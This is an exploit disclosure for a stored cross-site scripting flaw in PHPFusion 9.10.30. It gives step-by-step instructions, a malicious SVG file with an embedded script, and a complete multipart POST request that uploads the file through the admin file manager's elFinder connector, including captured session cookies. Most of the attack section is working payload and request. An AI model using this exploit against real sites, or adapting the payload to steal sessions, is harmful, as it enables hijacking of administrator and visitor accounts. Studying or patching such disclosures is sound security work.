Exploit Title: PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS)
Application: PHPFusion
Version: 9.10.30
Bugs:  XSS
Technology: PHP
Vendor URL: https://www.php-fusion.co.uk/home.php
Software Link: https://sourceforge.net/projects/php-fusion/
Date of found: 28-04-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1. Go to Fusion file manager (http://localhost/PHPFusion%209.10.30/files/administration/file_manager.php?aid=ecf01599cf9cd553#elf_l1_Lw)
2. upload malicious svg file

svg file content ===>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>


poc request:


POST /PHPFusion%209.10.30/files/includes/elFinder/php/connector.php?aid=ecf01599cf9cd553 HTTP/1.1
Host: localhost
Content-Length: 1198
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxF2jB690PpLWInAA
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/PHPFusion%209.10.30/files/administration/file_manager.php?aid=ecf01599cf9cd553
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: fusion2847q_lastvisit=1682673668; fusion2847q_user=1.1682850094.7126692a74723afe3bc7e3fb130a60838c1aa1bcae83f7497402ce9f009f96ff; fusion2847q_admin=1.1682850118.14c483fed28d5a89734c158bbb9aa88eab03a5c4a97316c372dd3b2591d6982a; fusion2847q_session=q0ifs4lhqt9fm6h3jclbea79vf; fusion2847q_visited=yes; usertbl_results=user_joined%2Cuser_lastvisit%2Cuser_groups; usertbl_status=0
Connection: close

------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="reqid"

187c77be8e52cf
------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="hashes[l1_U1ZHX1hTUy5zdmc]"

SVG_XSS.svg
------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="mtime[]"

1681116842
------WebKitFormBoundaryxF2jB690PpLWInAA
Content-Disposition: form-data; name="overwrite"

0
------WebKitFormBoundaryxF2jB690PpLWInAA--


3. Then go to images (http://localhost/PHPFusion%209.10.30/files/administration/images.php?aid=ecf01599cf9cd553) or directly go to svg file(
http://localhost/PHPFusion%209.10.30/files/images/SVG_XSS.svg)



poc video : https://youtu.be/6yBLnRH8pOY